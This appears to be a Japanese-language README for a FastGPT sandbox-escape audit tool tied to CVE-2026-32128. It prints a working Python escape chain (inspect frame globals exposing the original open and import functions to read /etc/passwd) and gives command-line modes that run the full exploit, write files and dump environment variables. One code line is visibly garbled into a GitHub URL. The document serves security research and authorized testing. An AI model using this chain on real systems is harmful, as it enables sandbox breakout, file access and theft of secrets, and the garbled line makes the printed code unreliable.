
FastGPT Pythonサンドボックスエスケープチェーン監査ツール (CVE-2026-32128関連、v4.14.8 inspectチェーン)
FastGPT Python サンドボックスエスケープチェーン監査ツール。
FastGPT ワークフローの「コード実行」ノードは、ユーザーの Python コードを独立したサンドボックスで実行します。v4.14.8 のサンドボックス保護は純粋な Python 層(モジュールブラックリスト + AST チェック + open ガード + import ガード)であり、本ツールはこれらの保護のバイパスチェーンを検出・検証します:
import inspect # inspect は _DANGEROUS_STDLIB ブラックリストにない
g = inspect.currentframe().f_back.f_globals # AST チェックは単一アンダースコアのフレーム属性を阻止しない
f = g['_original_open'](https://github.com/qianlijaingshan/fastgpt-sandbox-audit/blob/HEAD/%27/etc/passwd%27) # モジュールのグローバルに元の open 参照が露出
imp = g['_original_import'] # モジュールのグローバルに元の __import__ 参照が露出
| バージョン | アーキテクチャ | 状態 |
|---|---|---|
| v4.14.7 | NestJS + Fastify + seccomp | CVE-2026-32128(fcntl リマップで stdout) |
| v4.14.8 | Bun + Hono + worker.py | 本チェーンで完全エスケープ(コンテナ内の任意ファイル + ネットワーク横断) |
| main | Go native chroot + seccomp | Python 層も同様にバイパスされるが、chroot のフォールバックによりコンテナ内に制限される |
標準ライブラリのみ使用、Python 3.8+。
# worker.py の保護設定を静的検出(ペイロードは実行しない)
python3 fastgpt-sandbox-audit.py --check
# 実際の worker.py に対して完全なエスケープチェーンを実行(/etc/passwd の読み取り + ファイル書き込み)
python3 fastgpt-sandbox-audit.py --exploit
# 環境変数をエクスポート(先頭 20 キー)
python3 fastgpt-sandbox-audit.py --dump
# worker.py のパスを指定
python3 fastgpt-sandbox-audit.py --worker /path/to/worker.py --exploit
--exploit は実際の worker.py(FastGPT v4.14.8 サンドボックスの Python worker プロセス)を必要とし、デフォルトで現在のディレクトリから ./worker.py を読み込み、その stdin JSON プロトコル({"type":"init"} → {"type":"task","code":...})を介してペイロードを送信します。
--check モードの出力:
=== fastgpt-sandbox-audit: 保護設定チェック ===
[リスク] inspect が _DANGEROUS_STDLIB ブラックリストにない -> import 可能
[リスク] AST チェックが f_globals 属性を遮っていない
[リスク] モジュールのグローバルに _original_open が露出 -> f_globals で取得可能
[リスク] モジュールのグローバルに _original_import が露出 -> f_globals で取得可能
[ヒント] worker.py に seccomp なし (4.14.8+ は純 Python 保護)
本ツールは、セキュリティ研究および許可された範囲内のセキュリティテストにのみ使用されます。許可なく他者のシステムをテストすることは法令違反となる可能性があり、関連する責任はすべて自己負担となります。